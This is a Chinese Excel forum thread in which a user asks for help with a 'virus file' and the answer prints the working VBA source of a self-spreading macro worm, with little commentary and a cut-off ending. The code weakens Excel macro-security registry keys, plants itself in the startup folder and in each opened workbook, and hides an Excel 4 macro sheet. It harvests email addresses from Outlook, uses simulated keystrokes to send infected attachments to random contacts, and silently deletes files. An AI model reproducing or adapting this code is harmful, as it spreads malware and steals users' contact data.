Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 2164|回复: 3

[已解决]求助破解病毒文件

[复制链接]
发表于 2013-4-16 10:19 | 显示全部楼层 |阅读模式
5学分
求助破解病毒文件
最佳答案
2013-4-16 11:09
附件中的  todole 模块里的  病毒代码如下

你想怎么破解呢??代码都在里面,都是本地操作的!!

  1. Private Sub auto_open()
  2. Application.DisplayAlerts = False
  3. If ThisWorkbook.Path <> Application.StartupPath Then
  4.   Application.ScreenUpdating = False
  5.   Call delete_this_wk
  6.   Call copytoworkbook
  7.   If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
  8.   ThisWorkbook.Save
  9.   Application.ScreenUpdating = True
  10. End If
  11. End Sub
  12. Private Sub copytoworkbook()
  13.   Const DQUOTE = """"
  14.   With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
  15. .InsertLines 1, "Public WithEvents xx As Application"
  16. .InsertLines 2, "Private Sub Workbook_open()"
  17. .InsertLines 3, "Set xx = Application"
  18. .InsertLines 4, "On Error Resume Next"
  19. .InsertLines 5, "Application.DisplayAlerts = False"
  20. .InsertLines 6, "Call do_what"
  21. .InsertLines 7, "End Sub"
  22. .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
  23. .InsertLines 9, "On Error Resume Next"
  24. .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
  25. .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
  26. .InsertLines 12, "Major:=5, Minor:=3"
  27. .InsertLines 13, "Application.ScreenUpdating = False"
  28. .InsertLines 14, "Application.DisplayAlerts = False"
  29. .InsertLines 15, "copystart wb"
  30. .InsertLines 16, "Application.ScreenUpdating = True"
  31. .InsertLines 17, "End Sub"
  32. End With
  33. End Sub
  34. Private Sub delete_this_wk()
  35. Dim VBProj As VBIDE.VBProject
  36. Dim VBComp As VBIDE.VBComponent
  37. Dim CodeMod As VBIDE.CodeModule
  38. Set VBProj = ThisWorkbook.VBProject
  39. Set VBComp = VBProj.VBComponents("ThisWorkbook")
  40. Set CodeMod = VBComp.CodeModule
  41. With CodeMod
  42.     .DeleteLines 1, .CountOfLines
  43. End With
  44. End Sub
  45. Function do_what()
  46. If ThisWorkbook.Path <> Application.StartupPath Then
  47.   RestoreAfterOpen
  48.   Call OpenDoor
  49.   Call Microsofthobby
  50.   Call ActionJudge
  51. End If
  52. End Function
  53. Function copystart(ByVal wb As Workbook)
  54. On Error Resume Next
  55. Dim VBProj1 As VBIDE.VBProject
  56. Dim VBProj2 As VBIDE.VBProject
  57. Set VBProj1 = Workbooks("k4.xls").VBProject
  58. Set VBProj2 = wb.VBProject
  59. If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
  60. End Function
  61. Function copymodule(ModuleName As String, _
  62.     FromVBProject As VBIDE.VBProject, _
  63.     ToVBProject As VBIDE.VBProject, _
  64.     OverwriteExisting As Boolean) As Boolean
  65.    
  66.     On Error Resume Next
  67.     Dim VBComp As VBIDE.VBComponent
  68.     Dim FName As String
  69.     Dim CompName As String
  70.     Dim S As String
  71.     Dim SlashPos As Long
  72.     Dim ExtPos As Long
  73.     Dim TempVBComp As VBIDE.VBComponent
  74.    
  75.     If FromVBProject Is Nothing Then
  76.         copymodule = False
  77.         Exit Function
  78.     End If
  79.    
  80.     If Trim(ModuleName) = vbNullString Then
  81.         copymodule = False
  82.         Exit Function
  83.     End If
  84.    
  85.     If ToVBProject Is Nothing Then
  86.         copymodule = False
  87.         Exit Function
  88.     End If
  89.    
  90.     If FromVBProject.Protection = vbext_pp_locked Then
  91.         copymodule = False
  92.         Exit Function
  93.     End If
  94.    
  95.     If ToVBProject.Protection = vbext_pp_locked Then
  96.         copymodule = False
  97.         Exit Function
  98.     End If
  99.    
  100.     On Error Resume Next
  101.     Set VBComp = FromVBProject.VBComponents(ModuleName)
  102.     If Err.Number <> 0 Then
  103.         copymodule = False
  104.         Exit Function
  105.     End If
  106.    
  107.     FName = Environ("Temp") & "" & ModuleName & ".bas"
  108.     If OverwriteExisting = True Then
  109.       
  110.         If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
  111.             Err.Clear
  112.             Kill FName
  113.             If Err.Number <> 0 Then
  114.                 copymodule = False
  115.                 Exit Function
  116.             End If
  117.         End If
  118.         With ToVBProject.VBComponents
  119.             .Remove .Item(ModuleName)
  120.         End With
  121.     Else
  122.         
  123.         Err.Clear
  124.         Set VBComp = ToVBProject.VBComponents(ModuleName)
  125.         If Err.Number <> 0 Then
  126.             If Err.Number = 9 Then
  127.                
  128.             Else
  129.                
  130.                 copymodule = False
  131.                 Exit Function
  132.             End If
  133.         End If
  134.     End If
  135.    
  136.     FromVBProject.VBComponents(ModuleName).Export FileName:=FName
  137.    
  138.     SlashPos = InStrRev(FName, "")
  139.     ExtPos = InStrRev(FName, ".")
  140.     CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
  141.    
  142.     Set VBComp = Nothing
  143.     Set VBComp = ToVBProject.VBComponents(CompName)
  144.    
  145.     If VBComp Is Nothing Then
  146.         ToVBProject.VBComponents.Import FileName:=FName
  147.     Else
  148.         If VBComp.Type = vbext_ct_Document Then
  149.             
  150.             Set TempVBComp = ToVBProject.VBComponents.Import(FName)
  151.            
  152.             With VBComp.CodeModule
  153.                 .DeleteLines 1, .CountOfLines
  154.                 S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
  155.                 .InsertLines 1, S
  156.             End With
  157.             On Error GoTo 0
  158.             ToVBProject.VBComponents.Remove TempVBComp
  159.         End If
  160.     End If
  161.     Kill FName
  162.     copymodule = True
  163. End Function
  164. Function Microsofthobby()
  165. Dim myfile0 As String
  166. Dim MyFile As String
  167. On Error Resume Next
  168. myfile0 = ThisWorkbook.FullName
  169. MyFile = Application.StartupPath & "\k4.xls"
  170. If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
  171. Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  172. Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  173. Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  174. If ThisWorkbook.Path <> Application.StartupPath Then
  175.      Application.ScreenUpdating = False
  176.      ThisWorkbook.IsAddin = True
  177.      ThisWorkbook.SaveCopyAs MyFile
  178.      ThisWorkbook.IsAddin = False
  179.      Application.ScreenUpdating = True
  180. End If
  181. End Function
  182. Function OpenDoor()
  183. Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
  184. Dim KValue1 As Variant, KValue2 As Variant
  185. Dim VS As String
  186. On Error Resume Next
  187. VS = Application.Version
  188. Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  189. RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
  190. RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
  191. RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
  192. RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
  193. KValue1 = 1
  194. KValue2 = 1
  195.       Call WReg(RK1, KValue1, "REG_DWORD")
  196.       Call WReg(RK2, KValue2, "REG_DWORD")
  197.       Call WReg(RK3, KValue1, "REG_DWORD")
  198.       Call WReg(RK4, KValue2, "REG_DWORD")
  199. End Function
  200. Sub WReg(strkey As String, Value As Variant, ValueType As String)
  201.     Dim oWshell
  202.     Set oWshell = CreateObject("WScript.Shell")
  203.     If ValueType = "" Then
  204.         oWshell.RegWrite strkey, Value
  205.     Else
  206.         oWshell.RegWrite strkey, Value, ValueType
  207.     End If
  208.     Set oWshell = Nothing
  209. End Sub

  210. Private Sub Movemacro4(ByVal wb As Workbook)
  211. On Error Resume Next
  212.   Dim sht As Object
  213.     wb.Sheets(1).Select
  214.     Sheets.Add Type:=xlExcel4MacroSheet
  215.     ActiveSheet.Name = "Macro1"
  216.    
  217.     Range("A2").Select
  218.     ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
  219.     Range("A3").Select
  220.     ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
  221.     Range("A4").Select
  222.     ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏,关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
  223.     Range("A5").Select
  224.     ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
  225.     Range("A6").Select
  226.     ActiveCell.FormulaR1C1 = "=END.IF()"
  227.     Range("A7").Select
  228.     ActiveCell.FormulaR1C1 = "=RETURN()"
  229.    
  230.     For Each sht In wb.Sheets
  231.     wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
  232.     Next
  233.     wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
  234. End Sub
  235. Private Function WorkbookOpen(WorkBookName As String) As Boolean
  236.   WorkbookOpen = False
  237.   On Error GoTo WorkBookNotOpen
  238.   If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
  239.     WorkbookOpen = True
  240.     Exit Function
  241.   End If
  242. WorkBookNotOpen:
  243. End Function
  244. Private Sub ActionJudge()
  245. Const T1 As Date = "10:00:00"
  246. Const T2 As Date = "11:00:00"
  247. Const T3 As Date = "14:00:00"
  248. Const T4 As Date = "15:00:00"
  249. Dim SentTime As Date, WshShell
  250. Set WshShell = CreateObject("WScript.Shell")
  251. If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command")), "OUTLOOK.EXE") > 0 Then Exit Sub
  252. If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
  253.       If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
  254.            Exit Sub
  255.       Else
  256.            CreateFile "1", "D:\Collected_Address:frag1.txt"
  257.            search_in_OL
  258.       End If
  259. Else
  260.      If Not if_outlook_open Then Exit Sub
  261.      If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
  262.           Exit Sub
  263.      Else
  264.           SentTime = DateAdd("n", -21, Now)
  265.           On Error GoTo timeError
  266.           SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
  267. timeError:
  268.           If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
  269.                 Exit Sub
  270.           Else
  271.                 CreateFile "", "D:\Collected_Address:frag1.txt"
  272.                 CreateFile Now, "D:\Collected_Address:frag2.txt"
  273.                 CreatCab_SendMail
  274.           End If
  275.      End If
  276. End If
  277. End Sub

  278. Private Sub search_in_OL()
  279. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
  280. On Error Resume Next
  281. Set fs = CreateObject("scripting.filesystemobject")
  282. Set WshShell = CreateObject("WScript.Shell")
  283. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
  284. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
  285. AddVbsFile_clear = "E:\KK" & AttName & "_clear.vbs"
  286. i = FreeFile
  287. Open AddVbsFile_clear For Output Access Write As #i
  288. Print #i, "On error Resume Next"
  289. Print #i, "Dim wsh, tle, T0, i"
  290. Print #i, "  T0 = Timer"
  291. Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
  292. Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
  293. Print #i, "For i = 1 To 1000"
  294. Print #i, "    If Timer - T0 > 60 Then Exit For"
  295. Print #i, "  Call Refresh()"
  296. Print #i, "  wscript.sleep 05"
  297. Print #i, "  wsh.sendKeys """ & "%a""" & ""
  298. Print #i, "  wscript.sleep 05"
  299. Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
  300. Print #i, "  wscript.sleep 05"
  301. Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
  302. Print #i, "Next"
  303. Print #i, "Set wsh = Nothing"
  304. Print #i, "wscript.quit"
  305. Print #i, "Sub Refresh()"
  306. Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
  307. Print #i, "    If Timer - T0 > 60 Then Exit Sub"
  308. Print #i, "Loop"
  309. Print #i, "  wscript.sleep 05"
  310. Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
  311. Print #i, "End Sub"
  312. Close (i)
  313. AddVbsFile_search = "E:\KK" & AttName & "_Search.vbs"
  314. i = FreeFile
  315. Open AddVbsFile_search For Output Access Write As #i
  316. Print #i, "On error Resume Next"
  317. Print #i, "Const olFolderInbox = 6"
  318. Print #i, "Dim conbinded_address,WshShell,sh,ts"
  319. Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
  320. Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
  321. Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
  322. Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
  323. Print #i, "Set TargetFolder = objFolder"
  324. Print #i, "conbinded_address = """ & """" & ""
  325. Print #i, "Set colItems = TargetFolder.Items"
  326. Print #i, "wscript.sleep 300000"
  327. Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
  328. Print #i, "ts = Timer"
  329. Print #i, "For Each objMessage in colItems"
  330. Print #i, "       If Timer - ts >55 then exit For"
  331. Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
  332. Print #i, "Next"
  333. Print #i, "add_text conbinded_address, 8"
  334. Print #i, "add_text all_non_same(ReadAllTextFile), 2"
  335. Print #i, "WScript.Quit"
  336. Print #i, ""
  337. Print #i, "Private Function valid_address(source_data)"
  338. Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
  339. Print #i, "   Dim regex, matchs, ss, arr()"
  340. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
  341. Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
  342. Print #i, ""
  343. Print #i, "   regex.Global = True"
  344. Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
  345. Print #i, "   Set matchs = regex.Execute(source_data)"
  346. Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
  347. Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
  348. Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
  349. Print #i, "   Next"
  350. Print #i, ""
  351. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
  352. Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
  353. Print #i, "   Next"
  354. Print #i, ""
  355. Print #i, "   If oDict.Count > 0 Then"
  356. Print #i, "        nonsame_arr = oDict.keys"
  357. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
  358. Print #i, "             valid_address = valid_address & nonsame_arr(i)"
  359. Print #i, "        Next"
  360. Print #i, "   End If"
  361. Print #i, "   Set oDict = Nothing"
  362. Print #i, "End Function"
  363. Print #i, ""
  364. Print #i, "Private Sub add_text(inputed_string, input_frag)"
  365. Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
  366. Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
  367. Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  368. Print #i, "   On Error resume next"
  369. Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
  370. Print #i, ""
  371. Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
  372. Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
  373. Print #i, "   End If"
  374. Print #i, "   Set log_folder = Nothing"
  375. Print #i, "   Set logfile = Nothing"
  376. Print #i, ""
  377. Print #i, "   Select Case input_frag"
  378. Print #i, "     Case 8"
  379. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
  380. Print #i, "          logtext.Write inputed_string"
  381. Print #i, "          logtext.Close"
  382. Print #i, "     Case 2"
  383. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
  384. Print #i, "          logtext.Write inputed_string"
  385. Print #i, "          logtext.Close"
  386. Print #i, "   End Select"
  387. Print #i, "   set objFSO = nothing"
  388. Print #i, "End Sub"
  389. Print #i, ""
  390. Print #i, "Private Function ReadAllTextFile()"
  391. Print #i, "    Dim objFSO, FileName, MyFile"
  392. Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
  393. Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  394. Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
  395. Print #i, "    If MyFile.AtEndOfStream Then"
  396. Print #i, "        ReadAllTextFile = """ & """" & ""
  397. Print #i, "    Else"
  398. Print #i, "        ReadAllTextFile = MyFile.ReadAll"
  399. Print #i, "    End If"
  400. Print #i, "set objFSO = nothing"
  401. Print #i, "End Function"
  402. Print #i, ""
  403. Print #i, "Private Function all_non_same(source_data)"
  404. Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
  405. Print #i, "   all_non_same = """ & """" & ""
  406. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
  407. Print #i, ""
  408. Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
  409. Print #i, ""
  410. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
  411. Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
  412. Print #i, "   Next"
  413. Print #i, ""
  414. Print #i, "   If oDict.Count > 0 Then"
  415. Print #i, "        nonsame_arr = oDict.keys"
  416. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
  417. Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
  418. Print #i, "        Next"
  419. Print #i, "   End If"
  420. Print #i, "   Set oDict = Nothing"
  421. Print #i, "End Function"
  422. Close (i)
  423. Application.WindowState = xlMaximized
  424. WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
  425. Set WshShell = Nothing
  426. End Sub
  427. Private Sub CreatCab_SendMail()
  428. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
  429. Dim fs As Object, WshShell As Object
  430. Address_list = get_ten_address
  431. Set WshShell = CreateObject("WScript.Shell")
  432. Set fs = CreateObject("scripting.filesystemobject")
  433. If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
  434. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
  435. mail_sub = "*" & AttName & "*Message*"
  436. AddVbsFile = "E:\sorce" & AttName & "_Key.vbs"
  437. i = FreeFile
  438. Open AddVbsFile For Output Access Write As #i
  439.    
  440. Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
  441. Print #i, "On error Resume Next"
  442. Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
  443. Print #i, "sh.MinimizeAll"
  444. Print #i, "Set sh = Nothing"
  445. Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  446. Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
  447. Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
  448. Print #i, "Fso.CopyFile  _"
  449. Print #i, "WshShell.CurrentDirectory & """ & "" & AttName & "*.CAB""" & "," & " " & """E:\KK""" & ", True"
  450. Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
  451. Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
  452. Print #i, "Next"
  453. Print #i, "If Fso.FileExists(""" & "E:\KK" & AttName & ".xls""" & ") = 0 then"
  454. Print #i, "        route = WshShell.CurrentDirectory & """ & "" & AttName & ".xls"""
  455. Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "" & AttName & ".xls""" & ")=0 then"
  456. Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
  457. Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
  458. Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
  459. Print #i, "        End if"
  460. Print #i, "else"
  461. Print #i, "        route = """ & "E:\KK" & AttName & ".xls"""
  462. Print #i, "End If"
  463. Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
  464. Print #i, "   set owb=oexcel.workbooks.open(route)"
  465. Print #i, "   oExcel.Visible = True"
  466. Print #i, "Set oExcel = Nothing"
  467. Print #i, "Set oWb = Nothing"
  468. Print #i, "Set  WshShell = Nothing"
  469. Print #i, "Set Fso = Nothing"
  470. Print #i, "WScript.Quit"
  471. Print #i, "Private Function ListDir (ByVal Path)"
  472. Print #i, "   Dim Filter, a, n, Folder, Files, File"
  473. Print #i, "       ReDim a(10)"
  474. Print #i, "    n = 0"
  475. Print #i, "  Set Folder = fso.GetFolder(Path)"
  476. Print #i, "   Set Files = Folder.Files"
  477. Print #i, "   For Each File In Files"
  478. Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
  479. Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
  480. Print #i, "            a(n) = File.Path"
  481. Print #i, "            n = n + 1"
  482. Print #i, "       End If"
  483. Print #i, "   Next"
  484. Print #i, "   ReDim Preserve a(n-1)"
  485. Print #i, "   ListDir = a"
  486. Print #i, "End Function"
  487. Close (i)
  488. AddListFile = ThisWorkbook.Path & "\TEST.txt"
  489. i = FreeFile
  490. Open AddListFile For Output Access Write As #i
  491. Print #i, "E:\sorce" & AttName & "_Key.vbs"
  492. Print #i, "E:\sorce" & AttName & ".xls"
  493. Close (i)
  494. Application.ScreenUpdating = False
  495. RestoreBeforeSend
  496. ThisWorkbook.SaveCopyAs "E:\sorce" & AttName & ".xls"
  497. RestoreAfterOpen
  498. c4$ = CurDir()
  499. ChDrive Left(ThisWorkbook.Path, 3) '"C:"
  500. ChDir ThisWorkbook.Path
  501. WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
  502. Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
  503. And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
  504. And fs.FileExists(ThisWorkbook.Path & "" & AttName & ".CAB")
  505. DoEvents
  506. Loop
  507. WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
  508. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
  509. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
  510. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
  511. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
  512. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
  513. WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
  514. ChDir c4$
  515. Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
  516. "", "E:\KK" & AttName & ".CAB")
  517. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
  518. Set WshShell = Nothing
  519. Application.ScreenUpdating = True
  520. End Sub
  521. Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
  522.     Dim objOL As Object
  523.     Dim itmNewMail As Object
  524.     If Not if_outlook_open Then Exit Sub
  525.    
  526.     Set objOL = CreateObject("Outlook.Application")
  527.     Set itmNewMail = objOL.CreateItem(olMailItem)
  528.    
  529.     With itmNewMail
  530.         .Subject = Subject
  531.         .Body = Body
  532.         .To = Email_Address
  533.         .CC = CC_email_add
  534.         .Attachments.Add Attachment
  535.         .DeleteAfterSubmit = True
  536.     End With
  537.     On Error GoTo continue
  538. SendEmail:
  539.     itmNewMail.display
  540.     Debug.Print "setforth "
  541.     DoEvents
  542.     DoEvents
  543.     DoEvents
  544.     SendKeys "%s", Wait:=True
  545.     DoEvents
  546.     GoTo SendEmail
  547. continue:
  548.     Set objOL = Nothing
  549.     Set itmNewMail = Nothing
  550. End Sub
  551. Private Function if_outlook_open() As Boolean
  552. Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
  553. if_outlook_open = False
  554. For Each obj In objs
  555. If InStr(obj.Description, "OUTLOOK") > 0 Then
  556. if_outlook_open = True
  557. Exit For
  558. End If
  559. Next
  560. End Function
  561. Private Function RadomNine(length As Integer) As String
  562. Dim jj As Integer, k As Integer, i As Integer
  563. RadomNine = ""
  564. If length <= 0 Then Exit Function
  565. If length <= 10 Then
  566.      For i = 1 To length
  567.      RadomNine = RadomNine & "$$" & i
  568.      Next i
  569.      Exit Function
  570. End If
  571. jj = length / 10
  572. Randomize
  573. For i = 1 To 10
  574.       k = Int(Rnd * (jj * i - m - 1)) + 1
  575.       If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
  576.       m = m + k
  577. Next
  578. End Function
  579. Private Function get_ten_address() As String
  580. Dim singleAddress_arr, krr, i As Integer
  581. get_ten_address = ""
  582. singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
  583. krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
  584. For i = 1 To UBound(krr)
  585. get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
  586. Next i
  587. End Function
  588. Private Function ReadOut(FullPath) As String
  589.     On Error Resume Next
  590.     Dim Fso, FileText
  591.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  592.     Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
  593.     ReadOut = FileText.ReadAll
  594.     FileText.Close
  595. End Function
  596. Private Sub CreateFile(FragMark, pathf)
  597.     On Error Resume Next
  598.     Dim Fso, FileText
  599.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  600.     If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
  601.     If Fso.FileExists(pathf) Then
  602.         Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
  603.         FileText.Write FragMark
  604.         FileText.Close
  605.     Else
  606.         Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
  607.         FileText.Write FragMark
  608.         FileText.Close
  609.     End If
  610. End Sub

  611. Private Sub RestoreBeforeSend()
  612. Dim aa As Name, i_row As Integer, i_col As Integer
  613. Dim sht As Object
  614. Application.ScreenUpdating = False
  615. Application.DisplayAlerts = False
  616. On Error Resume Next
  617. For Each aa In ThisWorkbook.Names
  618.      aa.Visible = True
  619.      If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
  620. Next
  621. For Each sht In ThisWorkbook.Sheets
  622.      If sht.Name = "Macro1" Then
  623.      sht.Visible = xlSheetVisible
  624.      sht.Delete
  625.      End If
  626. Next
  627. Sheets(1).Select
  628. Sheets.Add
  629. For Each sht In ThisWorkbook.Sheets
  630.      If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
  631. Next
  632. i_row = Int((15 * Rnd) + 1)
  633. i_col = Int((6 * Rnd) + 1)
  634. Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
  635. Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
  636. Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
  637. With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
  638.      .Font.Bold = True
  639.      .Font.ColorIndex = 3
  640. End With
  641. Application.ScreenUpdating = True
  642. End Sub
  643. Private Function RestoreAfterOpen()
  644. Dim sht, del_sht, rng, del_frag As Boolean
  645. On Error Resume Next
  646. del_sht = ActiveSheet.Name
  647. Application.ScreenUpdating = False
  648. Application.DisplayAlerts = False
  649. For Each sht In ThisWorkbook.Sheets
  650.     If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
  651. Next
  652. For Each rng In Sheets(del_sht).Range("A1:F15")
  653. If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
